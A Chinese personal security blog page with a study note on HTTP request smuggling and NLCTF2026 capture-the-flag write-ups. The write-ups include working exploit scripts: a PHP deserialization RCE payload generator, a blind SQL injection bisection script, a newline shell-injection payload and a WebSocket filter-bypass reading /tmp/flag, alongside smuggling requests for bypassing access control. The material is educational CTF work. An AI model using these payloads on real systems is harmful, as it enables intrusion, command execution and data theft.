0n1y

Moectf2026-misc全解

Sat, 22 Aug 2026 00:00:00 GMT

本文已加密保护，请访问网站查看。

Moectf2026-web全解

Sat, 22 Aug 2026 00:00:00 GMT

本文已加密保护，请访问网站查看。

HTTP 请求走私

Thu, 20 Aug 2026 00:00:00 GMT

全是跟着 port 学的（

题目的话目前为止除了 port 里面的外只碰到个 MoeCTF2026 的，这里来学习一下更多的利用方式

概念：HTTP 请求走私是一种干扰网站处理来自一个或多个用户的 HTTP 请求序列方式的技术

背景：如今的 Web 应用程序通常在用户和最终应用程序逻辑之间部署一系列 HTTP 服务器。用户向前端服务器（有时称为负载均衡器或反向代理）发送请求，该服务器再将请求转发到一个或多个后端服务器。这种架构在现代云应用程序中越来越普遍，在某些情况下甚至是不可避免的当前端服务器将 HTTP 请求转发到后端服务器时，通常会通过同一个后端网络连接发送多个请求，因为这样效率更高，性能更好。该协议非常简单：HTTP 请求一个接一个地发送，接收服务器必须确定一个请求在哪里结束，下一个请求在哪里开始攻击者通过这种方式，使前端请求的一部分被后端服务器解读为下一个请求的开头。这部分内容实际上被添加到了下一个请求之前，从而干扰了应用程序处理该请求的方式。这是一种请求走私攻击，可能会造成毁灭性的后果由于 HTTP/1 规范提供了两种不同的方法来指定 HTTP 消息的长度，因此单个消息可能同时使用这两种方法，导致它们相互冲突。规范试图通过规定如果同时存在 Content-Length 和 Transfer-Encoding 标头，则应忽略 Content-Length 标头来避免这个问题。这或许足以避免歧义。当只有一个服务器运行时，不会出现问题；但当两个或多个服务器串联运行时，则不会出现问题。在这种情况下，两个服务器可能会出现问题

危害：未授权访问敏感数据

成因：HTTP/1 规范提供了两种不同的方式来指定请求的结束位置： Content-Length 标头和 Transfer-Encoding 标头

Content-Length 标头很简单：它指定消息体的长度（以字节为单位）：

1
POST /search HTTP/1.1
2
Host: normal-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 11
5

6
q=smuggling

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Transfer-Encoding Transfer-Encoding 标头可用于指定消息体使用分块编码。这意味着消息体包含一个或多个数据块。每个数据块的大小以字节为单位（以字节为单位）。十六进制），后跟一个换行符，再后跟数据块内容。消息以大小为零的数据块结束

这里使用分块编码的时候 TE 的值即为 chunked

1
POST /search HTTP/1.1
2
Host: normal-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Transfer-Encoding: chunked
5

6
b
7
q=smuggling
8
0

这里的 b 是 16进制的编码，为 11，接下来有 11 个字节数据

0 表示结束

注意：浏览器通常不会在请求中使用分块编码，分块编码通常只出现在服务器响应中（且在 bp 里面会自动解压缩分块编码）

CL.TE#

前端 cl，后端 te

1
POST / HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Length: 13
4
Transfer-Encoding: chunked
5

6
0
7

8
SMUGGLED

注意这里是有换行符的，实际字节是：

1
0\r\n
2
\r\n
3
SMUGGLED

换行符是两个字节，1+2+2+8=13

前端服务器处理 Content-Length 标头，并确定请求体长度为 13 字节，直至 SMUGGLED 的末尾。此请求被转发到后端服务器

后端服务器处理 Transfer-Encoding 标头，因此会将消息体视为使用分块编码。它会处理第一个数据块（标头中声明长度为零），因此该数据块被视为请求的终止符。接下来的字节 SMUGGLED ）则不予处理，后端服务器会将这些字节视为…… 序列中下一个请求的开始

TE.CL#

前端 te，后端 cl：

1
POST / HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Length: 3
4
Transfer-Encoding: chunked
5

6
8
7
SMUGGLED
8
0

这里仍然 8 后面是换行符，占两字节

前端服务器处理 Transfer-Encoding 头，因此将消息体视为使用分块编码。它处理第一个数据块（长度为 8 字节），直到 SMUGGLED 之后的行的开头。它处理第二个数据块（长度为零字节），因此将其视为终止符。该请求将被转发到后端服务器

后端服务器处理 Content-Length 标头，并确定请求体长度为 3 个字节，直到数字 8 之后的行首。从 SMUGGLED 开始的后续字节将不予处理，后端服务器会将这些字节视为下一个请求体的开始。按顺序请求

TE.TE#

前端服务器和后端服务器都支持 Transfer-Encoding 标头，但其中一台服务器不支持。可以通过某种方式混淆标头，使其不被处理

混淆 TE 标头的方式有很多：

1
Transfer-Encoding: xchunked
2

3
Transfer-Encoding : chunked
4

5
Transfer-Encoding: chunked
6
Transfer-Encoding: x
7

8
Transfer-Encoding:[tab]chunked
9

10
[space]Transfer-Encoding: chunked
11

12
X: X[\n]Transfer-Encoding: chunked
13

14
Transfer-Encoding
15
: chunked

展开收起

这些技术都涉及对 HTTP 规范的细微偏离。实际应用中，实现协议规范的代码很少能完全遵循规范，不同的实现通常会容忍不同的规范偏差。要发现 TE.TE 漏洞，必须找到 Transfer-Encoding 标头的某种变体，使得只有前端或后端服务器中的一个会处理它，而其他服务器则不会。其他服务器会忽略它

根据是前端服务器还是后端服务器被诱导不处理混淆后的 Transfer-Encoding 标头，攻击的其余部分将与 CL.TE 或 TE.CL 的攻击形式相同。已描述过的漏洞

发现漏洞#

利用计时#

检测 HTTP 请求走私漏洞最常用的有效方法是发送一些请求，如果存在漏洞，这些请求会导致应用程序响应出现时间延迟。Burp Scanner 就采用了这种技术来自动检测请求走私漏洞

CL.TE：

1
POST / HTTP/1.1
2
Host: vulnerable-website.com
3
Transfer-Encoding: chunked
4
Content-Length: 4
5

6
1
7
A
8
X

这里按照道理来讲，x 是有 0 标识符的，因此会让后端知道数据都收完了，但是上述操作后后端就永远也接受不到 0 了，因此会导致延迟

TE.CL：

1
POST / HTTP/1.1
2
Host: vulnerable-website.com
3
Transfer-Encoding: chunked
4
Content-Length: 6
5

6
0
7

8
X

这里也和前面理由一样，te 直接看到0就发送到后端（没带X），但是后端是 cl 机制，看到 6 字节但是实际得到的只有 5 字节自然会进行等待

前端发送的是：

1
0

这里 chunkded 的机制是：只有 0\r\n\r\n 收到接收方才能确认分块传输正常结束

不同响应#

快速发送两个请求：

一种旨在干扰下一个请求处理的“攻击”请求
一个“正常”的请求

如果对正常请求的响应包含预期的干扰，则可以确认存在漏洞

CL.TE：

1
POST /search HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 49
5
Transfer-Encoding: chunked
6

7
e
8
q=smuggling&x=
9
0
10

11
GET /404 HTTP/1.1
12
Foo: x

如果攻击成果，最下面两行会被视为下一个请求，导致：

1
GET /404 HTTP/1.1
2
Foo: xPOST /search HTTP/1.1
3
Host: vulnerable-website.com
4
Content-Type: application/x-www-form-urlencoded
5
Content-Length: 11
6

7
q=smuggling

从而返回 404，证明确实存在走私漏洞

TL.CL：

1
POST /search HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 4
5
Transfer-Encoding: chunked
6

7
7c
8
GET /404 HTTP/1.1
9
Host: vulnerable-website.com
10
Content-Type: application/x-www-form-urlencoded
11
Content-Length: 144
12

13
x=
14
0

这里切记最后的 0 要加上两个换行符，也就是上述提到的要让 chunked 顺利识别到并且停止

如果成功，一样还是会使得下一个正常请求返回 404：

1
GET /404 HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 144
5

6
x=
7
0
8

9
POST /search HTTP/1.1
10
Host: vulnerable-website.com
11
Content-Type: application/x-www-form-urlencoded
12
Content-Length: 11
13

14
q=smuggling

注意事项：

攻击请求和正常请求应该使用不同的网络连接发送到服务器。通过同一连接发送这两个请求并不能证明漏洞存在

“攻击”请求和“正常”请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序会根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数可以提高请求被同一后端服务器处理的概率，这对于攻击成功至关重要

在测试“正常”请求以检测“攻击”请求是否干扰时，您需要与其他应用程序同时接收的请求（包括来自其他用户的请求）进行竞争。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序繁忙，您可能需要多次尝试才能确认漏洞

在某些应用中，前端服务器充当负载均衡器的角色，并根据某种负载均衡算法将请求转发到不同的后端系统。如果你的“攻击”请求和“正常”请求被转发到不同的后端系统，那么攻击就会失败。这也是为什么你可能需要多次尝试才能确认漏洞存在的原因之一

如果你的攻击成功干扰了后续请求，但该请求并非你用于检测干扰的“正常”请求，则意味着其他应用程序用户也受到了攻击的影响。如果你继续执行测试，可能会对其他用户造成干扰，因此你应该谨慎行事

利用漏洞#

前端绕过#

假设一个应用程序使用前端服务器来实现访问控制限制，仅转发已获得授权访问请求 URL 的用户的请求。后端服务器则不加检查地处理所有请求。在这种情况下，HTTP 请求走私漏洞可被利用，通过向受限 URL 发送请求来绕过访问控制

即我们通过访问已授权的的 url 随后再 http 走私我们未授权的 url，若是服务器没有加以校验就可能成功

假设当前用户被允许访问 /home 但无权访问 /admin 。他们可以使用以下请求走私攻击绕过此限制：

1
POST /home HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 62
5
Transfer-Encoding: chunked
6

7
0
8

9
GET /admin HTTP/1.1
10
Host: vulnerable-website.com
11
Foo: xGET /home HTTP/1.1
12
Host: vulnerable-website.com

高级请求走私#

这里的背景协议都变为了 http/2

HTTP/2 消息实际上是以一系列独立的“帧”的形式通过网络传输的。每个帧前面都有一个明确的长度字段，用于告诉服务器需要读取多少字节。因此，请求的长度是所有帧长度的总和

看似无敌，因为只要网站全部使用 http/2，前后端对于请求长度的不同识别方式就都一样而不会产生走私，但是由于普遍存在的 http/2 降级，这反而导致了更多问题

HTTP/2 降级

HTTP/2 降级是指使用 HTTP/1 语法重写 HTTP/2 请求，从而生成等效的 HTTP/1 请求。Web 服务器和反向代理经常这样做，以便在与仅支持 HTTP/1 的后端服务器通信时，也能为客户端提供 HTTP/2 支持

H2.CL：

这个是因为 H2 它降级的时候通常会带个 cl，然后会通过 H2 内置的长度机制去计算请求长度随后与 cl 进行匹配，但是我们仍然可以在 H2 中自行构建 cl，这个时候若是后端处理时是以我们显式声明的 cl 为准则仍然会导致走私

1
:method  POST
2
:path  /example
3
:authority  vulnerable-website.com
4
content-type  application/x-www-form-urlencoded
5
content-length  0
6
GET /admin HTTP/1.1
7
Host: vulnerable-website.com
8
Content-Length: 10
9

10
x=1

后端：

1
POST /example HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 0
5

6
GET /admin HTTP/1.1
7
Host: vulnerable-website.com
8
Content-Length: 10
9

10
x=1GET / H

挖个坑后面补（

防护#

尽可能使用端到端的 HTTP/2 协议，并禁用 HTTP 降级。HTTP/2 使用强大的机制来确定请求长度，并且在端到端使用时，本身就能有效防止请求走私。如果无法避免 HTTP 降级，请确保根据 HTTP/1.1 规范验证重写的请求。例如，拒绝请求头中包含换行符、请求头名称中包含冒号以及请求方法中包含空格的请求

让前端服务器规范化模糊请求，并让后端服务器拒绝任何仍然模糊的请求，并在该过程中关闭 TCP 连接

永远不要假设请求没有请求体。这是导致 CL.0 漏洞和客户端不同步漏洞的根本原因

如果在处理请求时触发服务器级异常，则默认丢弃连接

如果通过转发代理路由流量，请尽可能确保上游启用 HTTP/2

2026 奶龙杯

Mon, 17 Aug 2026 00:00:00 GMT

本次奶龙杯我们 0xFA 战队拿到了第 18 的战绩

web 题是自己做完了（jvav 让 ai 解的），其他基本都是学长做完了（tql）

Web#

[NLCTF2026] unserialize/二血#

题目给了附件：

1
<?php
2

3
error_reporting(0);
4

5

6

7
class SecurityValidator {
8

9
    private $mode;
10

11
    private $data;
12

13

14

15
    public function __construct() {
16

17
        $this->mode = 'safe';
18

19
        $this->data = null;
20

21
    }
22

23

24

25
    public function __wakeup() {
26

27
        if ($this->mode !== 'safe') {
28

29
            die("Security violation detected");
30

31
        }
32

33
    }
34

35

36

37
    public function getMode() {
38

39
        return $this->mode;
40

41
    }
42

43

44

45
    public function getData() {
46

47
        return $this->data;
48

49
    }
50

51
}
52

53

54

55
class CommandExecutor {
56

57
    private $validator;
58

59
    private $command;
60

61
    private $enabled;
62

63

64

65
    public function __construct() {
66

67
        $this->validator = new SecurityValidator();
68

69
        $this->command = 'echo "Hello"';
70

71
        $this->enabled = false;
72

73
    }
74

75

76

77
    public function __destruct() {
78

79
        if (!$this->enabled) {
80

81
            return;
82

83
        }
84

85

86

87
        if (!($this->validator instanceof SecurityValidator)) {
88

89
            die("Invalid validator type");
90

91
        }
92

93

94

95
        if ($this->validator->getMode() === 'safe') {
96

97
            die("Safe mode active");
98

99
        }
100

101

102

103
        system($this->command);
104

105
    }
106

107
}
108

109

110

111
class Mutator {
112

113
    public $ref;
114

115

116

117
    public function __wakeup() {
118

119
        if (is_string($this->ref)) {
120

121
            $this->ref = "hacked";
122

123
        }
124

125
    }
126

127
}
128

129

130

131
if (isset($_POST['data'])) {
132

133
    $obj = unserialize($_POST['data']);
134

135
    unset($obj);
136

137
    exit;
138

139
}
140

141

142

143
highlight_file(__FILE__);

展开收起

审计代码：

在 __destruct() 内我们可以看到：

enabled 必须为真
validator 必须是 SecurityValidator
mode 不能是 safe

达成了上述条件后才能达到 rce

值得注意的是，此题的环境是 php 8.0，于是对于 __wakeup 魔术方法的绕过不成立（于 php 7.4 版本修复）

因此我们来看 __wakeup 内做了什么：

1
public function __wakeup() {
2
        if ($this->mode !== 'safe') {
3
            die("Security violation detected");
4
        }
5
    }

可以见的，若是 mode 不为 safe 则会直接 die

但是，根据 php 官方的说法：

![[Pasted image 20260816085800.png]]

而这个对象析构方法，其实就是我们常说的魔术方法 __destruct()

因此这道题实际上是个伪过滤，直接搓链子就行：

1
<?php
2

3

4

5
class SecurityValidator {
6

7
    private $mode;
8

9
    private $data;
10

11

12

13
    public function __construct() {
14

15
        $this->mode = 'safe';
16

17
        $this->data = null;
18

19
    }
20

21

22

23
    public function __wakeup() {
24

25
        if ($this->mode !== 'safe') {
26

27
            die("Security violation detected");
28

29
        }
30

31
    }
32

33

34

35
    public function getMode() {
36

37
        return $this->mode;
38

39
    }
40

41

42

43
    public function getData() {
44

45
        return $this->data;
46

47
    }
48

49
}
50

51

52

53
class CommandExecutor {
54

55
    private $validator;
56

57
    private $command;
58

59
    private $enabled;
60

61

62

63
    public function __construct() {
64

65
        $this->validator = new SecurityValidator();
66

67
        $this->command = 'echo "Hello"';
68

69
        $this->enabled = false;
70

71
    }
72

73

74

75
    public function __destruct() {
76

77
        if (!$this->enabled) {
78

79
            return;
80

81
        }
82

83
        if (!($this->validator instanceof SecurityValidator)) {
84

85
            die("Invalid validator type");
86

87
        }
88

89
        if ($this->validator->getMode() === 'safe') {
90

91
            die("Safe mode active");
92

93
        }
94

95
        system($this->command);
96

97
    }
98

99
}
100

101

102

103
class Mutator {
104

105
    public $ref;
106

107

108

109
    public function __wakeup() {
110

111
        if (is_string($this->ref)) {
112

113
            $this->ref = "hacked";
114

115
        }
116

117
    }
118

119
}
120

121
$cmd = isset($argv[1]) ? $argv[1] : 'id';
122

123

124

125
$sv = new SecurityValidator();
126

127
$rp = new ReflectionProperty('SecurityValidator', 'mode');
128

129
$rp->setAccessible(true);
130

131
$rp->setValue($sv, 'evil');
132

133

134

135
$ce = new CommandExecutor();
136

137
$rp = new ReflectionProperty('CommandExecutor', 'validator');
138

139
$rp->setAccessible(true);
140

141
$rp->setValue($ce, $sv);
142

143
$rp = new ReflectionProperty('CommandExecutor', 'command');
144

145
$rp->setAccessible(true);
146

147
$rp->setValue($ce, $cmd);
148

149
$rp = new ReflectionProperty('CommandExecutor', 'enabled');
150

151
$rp->setAccessible(true);
152

153
$rp->setValue($ce, true);
154

155

156

157
$payload = serialize($ce);
158

159

160

161
echo "[RAW]\n" . $payload . "\n\n";
162

163
echo "[URLENCODED]\n" . urlencode($payload) . "\n\n";
164

165
echo "[SEND]\ncurl -s -X POST http://challenge.cyclens.tech:30596/ --data-urlencode \"data=" . urlencode($payload) . "\"\n";

展开收起

[NLCTF2026] ezphp#

/source.php：

1
<?php
2
declare(strict_types=1);
3

4
require_once dirname(__DIR__) . '/config.php';
5

6
header('Content-Type: application/json; charset=utf-8');
7
header('Cache-Control: no-store');
8

9
function respond(int $status, array $payload): never
10
{
11
    http_response_code($status);
12
    echo json_encode($payload, JSON_UNESCAPED_SLASHES);
13
    exit;
14
}
15

16
$code = $_GET['code'] ?? '';
17
if (!is_string($code) || $code === '' || strlen($code) > 180) {
18
    respond(400, ['error' => 'share code must contain 1-180 characters']);
19
}
20

21
// Old gateway rules. SQL metacharacters are left to ext-pgsql's escaping.
22
if (preg_match('/[;\x00-\x1f\x7f]/', $code) === 1) {
23
    respond(400, ['error' => 'unsupported character']);
24
}
25
if (preg_match('/\b(select|union|returning|copy)\b|\bpg_|information_schema/i', $code) === 1) {
26
    respond(400, ['error' => 'query syntax is not a share code']);
27
}
28

29
// Schema: documents(share_code, title, body, is_public).
30
$filters = [
31
    'share_code' => $code,
32
    'is_public' => true,
33
];
34

35
set_error_handler(static fn (): bool => true);
36
try {
37
    $rows = pg_select(database(), 'documents', $filters, PGSQL_DML_EXEC);
38
} catch (Throwable) {
39
    $rows = false;
40
} finally {
41
    restore_error_handler();
42
}
43

44
respond(200, [
45
    'found' => is_array($rows) && count($rows) > 0,
46
]);

展开收起

看完感觉像个 sql 注入

在首页上可以看到一个 VAULT 字段是不被公开的，大概率我们是要查到这个字段

这里搜到是个 cve，刚好就是本题目的解法

cve 编号：CVE-2026-17543

该 CVE 是通过 E’…’ 反斜杠突破在 ext-pgsql 中进行 SQL 注入

这个 ext-pgsql 是一个 php 的插件，会将我们传入的语句进行参数化处理

PGSQL_DML_EXEC：本意是生成 share_code = $1 AND is_public = $2 占位符，配合 PQexecParams 参数绑定 —— 设计上安全
PGSQL_DML_ESCAPE：转义后内联进 SQL 字符串
PGSQL_DML_STRING：只生成 SQL 字符串返回、不执行（调试用）

而 php_pgsql_convert() 处理值时有个致命的细节：它用 PQescapeStringConn() 转义后，把值包成 PostgreSQL 的 E'...' 转义字符串（而不是普通字符串）。PostgreSQL 9.1+ 默认 standard_conforming_strings=on，这个模式下 PQescapeStringConn 不转义反斜杠（因为标准字符串里反斜杠不是转义符）—— 但 E'...' 语境里反斜杠是转义符。两个语境一错位，攻击者输入的 \ 就能吞掉闭合引号

等于是左右脑互博（

等于我们输入两个同样的符号即可，例如：

1
share_code = E'\'' OR 1=1-- ' AND is_public = E'1'

这里的前面的 \' 在进行处理后变为 "（这个是字符串内容），后面的 ' 才是闭合符号

根据页面回显使用二分法注入拿到 flag

条件：

1
1.相当于只有 true/false
2
2.可比较大小并且查询参数没被过滤，二分法较快

最终 payload：

1
import urllib.request, urllib.parse, json, sys, time
2

3

4

5
BASE = "http://challenge.cyclens.tech:32182/api/lookup.php"
6

7
VAULT = "chr(86)||chr(65)||chr(85)||chr(76)||chr(84)"
8

9

10

11
def oracle(condition: str) -> bool:
12

13
    payload = "\\' OR (" + condition + ")-- "
14

15
    url = BASE + "?code=" + urllib.parse.quote(payload, safe="")
16

17
    for _ in range(3):
18

19
        try:
20

21
            with urllib.request.urlopen(url, timeout=8) as r:
22

23
                return json.loads(r.read().decode()).get("found") is True
24

25
        except Exception:
26

27
            time.sleep(0.5)
28

29
    return False
30

31

32

33

34
lo, hi = 0, 400
35

36
while lo < hi:
37

38
    mid = (lo + hi + 1) // 2
39

40
    if oracle(f"share_code = {VAULT} AND length(body) > {mid}"):
41

42
        lo = mid
43

44
    else:
45

46
        hi = mid - 1
47

48
length = lo
49

50
print(f"[*] body length = {length}", flush=True)
51

52

53

54

55
result = ""
56

57
for pos in range(1, length + 1):
58

59
    lo, hi = 32, 126
60

61
    while lo < hi:
62

63
        mid = (lo + hi) // 2
64

65
        cond = f"share_code = {VAULT} AND ascii(substring(body from {pos} for 1)) > {mid}"
66

67
        if oracle(cond):
68

69
            lo = mid + 1
70

71
        else:
72

73
            hi = mid
74

75
    ch = chr(lo)
76

77
    result += ch
78

79
    print(f"[{pos}] {repr(ch)} -> {result}", flush=True)
80

81
    if ch == "}":
82

83
        break
84

85

86

87
print("\n=== FLAG ===")
88

89
print(result)

展开收起

[NLCTF2026] LamentXU’s chal#

1
<?php
2

3
ob_start();
4

5
highlight_file(__FILE__);
6

7
$userId = $_GET['userId'] ?? '';
8
$rawRole = $_GET['role'] ?? '';
9
$roleText = trim($rawRole);
10

11
function grantRole($userId, $roleId) {
12
    if ($roleId === 1) {
13
        $flag = file_get_contents('/flag');
14
        echo $flag;
15
    }
16
}
17

18
if (strlen($userId) < 114) {
19
    http_response_code(200);
20
    exit('user id is too short');
21
}
22

23
if ($roleText === '1') {
24
    http_response_code(403);
25
    exit('admin role is forbidden');
26
}
27

28
if (preg_match('/[eE.]/', $roleText)) {
29
    http_response_code(200);
30
    exit('invalid role id');
31
}
32

33
if ($roleText[0] === '0') {
34
    http_response_code(200);
35
    exit('leading zero is forbidden');
36
}
37

38
if (!is_numeric($roleText)) {
39
    http_response_code(200);
40
    exit('invalid role id');
41
}
42

43
$roleId = intval($rawRole);
44

45
grantRole($userId, $roleId);
46
user id is too short

展开收起

在函数 grantRole 里面我们可以知道，使得 $roleId 等于 1 即可拿到 flag

而 $roleId 有这些要求：

字符串不等于 '1'、不含 e/E/.、不以 0 开头、is_numeric() 为真 intval 后等于 1

利用 role=+1 即可，+1 在 php 8 返回 true，intval 后等于 1

最终 payload：

1
http://challenge.cyclens.tech:32028/?userId=AAAA...(114个A)&role=%2B1

[NLCTF2026] signin#

1
<?php
2

3
ob_start();
4

5
highlight_file(__FILE__);
6

7
$userId = $_GET['userId'] ?? '';
8
$rawRole = $_GET['role'] ?? '';
9
$roleText = trim($rawRole);
10

11
function grantRole($userId, $roleId) {
12
    if ($roleId === 1) {
13
        $flag = file_get_contents('/flag');
14
        echo $flag;
15
    }
16
}
17

18
if (strlen($userId) < 114) {
19
    http_response_code(200);
20
    exit('user id is too short');
21
}
22

23
if (str_contains($roleText, '+') || str_contains($roleText, '-')) {
24
    http_response_code(200);
25
    exit('sign character is forbidden');
26
}
27

28
if ($roleText === '1') {
29
    http_response_code(403);
30
    exit('admin role is forbidden');
31
}
32

33
if (preg_match('/[eE.]/', $roleText)) {
34
    http_response_code(200);
35
    exit('invalid role id');
36
}
37

38
if ($roleText[0] === '0') {
39
    http_response_code(200);
40
    exit('leading zero is forbidden');
41
}
42

43
if (!preg_match('/[0-9]/', $roleText)) {
44
    http_response_code(200);
45
    exit('invalid role id');
46
}
47

48
$roleId = intval($rawRole);
49

50
grantRole($userId, $roleId);
51
user id is too short

展开收起

参数的值个数太少了不行，不能去计算得到想要的数值，不能和 1 强相等，不能使用科学计数法，首字符不能是 0，必须含有数字

最终 payload：

1
curl "http://challenge.cyclens.tech:31290/?userId=$(printf 'A%.0s' {1..114})&role=1a"

[NLCTF2026] lets_goooooo#

go 的题目，看着像 rce，重点关注 /ping 路由：

1
func ping(w http.ResponseWriter, r *http.Request) {
2

3
    host := r.URL.Query().Get("host")
4

5
    if host == "" || len(host) > 80 {
6

7
        http.Error(w, "invalid host", http.StatusBadRequest)
8

9
        return
10

11
    }
12

13

14

15
    if strings.ContainsAny(host, " ;|&$`(){}[]<>\\\"") {
16

17
        w.Header().Set("Content-Type", "text/html; charset=utf-8")
18

19
        _ = page.Execute(w, viewData{Output: "blocked: suspicious character detected"})
20

21
        return
22

23
    }
24

25

26

27
    ctx := r.Context()
28

29
    cmd := exec.CommandContext(ctx, "/bin/sh", "-c", fmt.Sprintf("ping -c 1 -W 1 %s", host))
30

31
    result := make(chan []byte, 1)
32

33
    go func() {
34

35
        out, _ := cmd.CombinedOutput()
36

37
        result <- out
38

39
    }()
40

41

42

43
    var out []byte
44

45
    select {
46

47
    case out = <-result:
48

49
    case <-time.After(3 * time.Second):
50

51
        _ = cmd.Process.Kill()
52

53
        out = []byte("timeout")
54

55
    }
56

57
    if len(out) > 4096 {
58

59
        out = out[:4096]
60

61
    }
62

63
    w.Header().Set("Content-Type", "text/html; charset=utf-8")
64

65
    _ = page.Execute(w, viewData{Output: string(out)})
66

67
}

展开收起

这里 func ping(w http.ResponseWriter, r *http.Request) 把我们响应包和我们发送的内容都接受进来

取到 url 和参数后进行过滤：

1
if host == "" || len(host) > 80 {
2
    http.Error(w, "invalid host", http.StatusBadRequest)
3
    return
4
}
5
// 进行长度校验
6

7
if strings.ContainsAny(host, " ;|&$`(){}[]<>\\\"") {
8
// 进行黑名单过滤

进行命令执行：

1
cmd := exec.CommandContext(ctx, "/bin/sh", "-c", fmt.Sprintf("ping -c 1 -W 1 %s", host))

这里把命令交给 shell 去执行（/bin/sh ）

也是 rce 的漏洞来源，直接将 host 的内容拼接进来去执行

最终 payload：

1
host=127.0.0.1%0aenv

[NLCTF2026] little_Java#

Summary

Java WebSocket 网关”分裂地平线”题。核心思路:让边缘代理(手写解析器)与 Java-WebSocket 库对同一请求解析出不同语义,再借助 WebSocket 分片消息只校验首片的缺陷,把恶意 readFile 操作藏在分片第二帧中,绕过敏感词过滤拿到 /tmp/flag。capability 由 HMAC-SHA256 签名(90s 过期),每 600s 进程重启清空连接状态。

Solution

Step 1: 分裂地平线握手

GET /api/bootstrap 获取 ticket + trace 后,向 ws://HOST:8001/gateway 发起握手。关键构造是让 EdgeProxy(收集同名头为列表)与 Java-WebSocket(Draft.translateHandshakeHttp 将同名头拼接为 旧值 + "; " + 新值)看到不同的值:

两个 X-Relay-Route 头(public + recovery):边缘要求恰好这两个原子值;库侧合并为 "public; recovery",正好是内部 registry 要求的路由
Sec-WebSocket-Protocol: relay.v1, operator.v1:边缘要求首 token 为 relay.v1;服务器按自身列表顺序 [operator.v1, relay.v1] 遍历,选中 operator.v1
两个 Sec-WebSocket-Extensions 头(permessage-deflate + client_no_context_takeover):协商压缩扩展(可发不压缩帧,RSV1=0)

Step 2: 分片 preflight + Ping 证明 + readFile

RelayDraft.processFrame 只对 TEXT && !FIN 帧执行 captureOpening(校验 OPENING 正则、HMAC、trace,并禁止文本含 operator/readFile,仅查首片)。攻击序列:

帧1(TEXT, FIN=0) 格式 JSON → 通过 preflight,openingDigest = sha256(帧1明文)
Ping 控制帧 = openingDigest 前 16 字节 → recoveryArmed = true(控制帧不经过文本过滤)
帧2(CONTINUOUS, FIN=1):,"phase":"operator","op":"readFile","path":"/tmp/flag"} → 不受检查,拼接后 Jackson 重复键 last-wins,phase/op 被覆盖为 operator/readFile → 返回 flag

1
#!/usr/bin/env python3
2
import base64, hashlib, json, os, socket, struct, urllib.request
3
4
HOST, PORT = "challenge.cyclens.tech", 30415
5
6
def bootstrap():
7
    with urllib.request.urlopen(f"http://{HOST}:{PORT}/api/bootstrap", timeout=10) as r:
8
        return json.loads(r.read())
9
10
def frame(opcode, payload, fin=True):
11
    mask = os.urandom(4)
12
    n = len(payload)
13
    b1 = (0x80 if fin else 0) | opcode
14
    hdr = bytes([b1, 0x80 | n]) if n < 126 else bytes([b1, 0x80 | 126]) + struct.pack(">H", n)
15
    return hdr + mask + bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
16
17
def recv_exact(s, n):
18
    data = b""
19
    while len(data) < n:
20
        c = s.recv(n - len(data))
21
        if not c:
22
            raise ConnectionError("closed")
23
        data += c
24
    return data
25
26
def recv_frame(s):
27
    b1, b2 = recv_exact(s, 2)
28
    n = b2 & 0x7F
29
    if n == 126: n = struct.unpack(">H", recv_exact(s, 2))[0]
30
    elif n == 127: n = struct.unpack(">Q", recv_exact(s, 8))[0]
31
    m = recv_exact(s, 4) if b2 & 0x80 else None
32
    p = recv_exact(s, n)
33
    return b1 & 0x0F, bytes(b ^ m[i % 4] for i, b in enumerate(p)) if m else p
34
35
cap = bootstrap()
36
ticket, trace = cap["ticket"], cap["trace"]
37
38
s = socket.create_connection((HOST, PORT), timeout=10)
39
s.sendall((
40
    "GET /gateway HTTP/1.1\r\n"
41
    f"Host: {HOST}:{PORT}\r\n"
42
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
43
    f"Sec-WebSocket-Key: {base64.b64encode(os.urandom(16)).decode()}\r\n"
44
    "Sec-WebSocket-Version: 13\r\n"
45
    "X-Relay-Route: public\r\n"
46
    "X-Relay-Route: recovery\r\n"
47
    "Sec-WebSocket-Protocol: relay.v1, operator.v1\r\n"
48
    "Sec-WebSocket-Extensions: permessage-deflate\r\n"
49
    "Sec-WebSocket-Extensions: client_no_context_takeover\r\n\r\n"
50
).encode())
51
resp = b""
52
while b"\r\n\r\n" not in resp:
53
    resp += s.recv(4096)
54
assert b" 101 " in resp.split(b"\r\n", 1)[0]
55
56
p1 = f'{{"ticket":"{ticket}","trace":"{trace}","phase":"telemetry","op":"ping"'
57
s.sendall(frame(0x1, p1.encode(), fin=False))                      # 分片首片:过 preflight
58
s.sendall(frame(0x9, hashlib.sha256(p1.encode()).digest()[:16]))  # Ping:digest 前16字节
59
s.sendall(frame(0x0, b',"phase":"operator","op":"readFile","path":"/tmp/flag"}'))  # 末片
60
61
while True:
62
    opcode, payload = recv_frame(s)
63
    if opcode == 0x1:
64
        print(payload.decode())   # flag
65
        break
66
    if opcode == 0x8:
67
        break

展开收起

[NLCTF2026] phantom的surprise#

ds 实在没解出来，后面学长跑出来了

Typecho（题目不记得了）（未解出）#

看 wp 学到了很多，真的防了手 ai 啊（ds 跑岔了气也没出）

小总结-计划

Mon, 15 Jun 2026 00:00:00 GMT

大一也是要结束了

大一下尽可能翘了所有能够翘的课，大概有 3/4 的时间窝在图书管当区

（后面应该会回到寝室，图书馆太热了😭😭😭）

感觉这个学期找到了适合自己的学习节奏，学习的速度感觉不快不慢吧，对一些常见的漏洞都进行了学习

和强强的队友打了不少比赛（对于大一上而言）；也被学长带飞过（被学长带到 H&N2026 的第一了，太强了！😍😭）

还是对未来感到一定的迷茫

还记得最近学校校招来了安全的招聘，当时想着机会难得，拿着我那啥也没有的简历就去尝试面试了

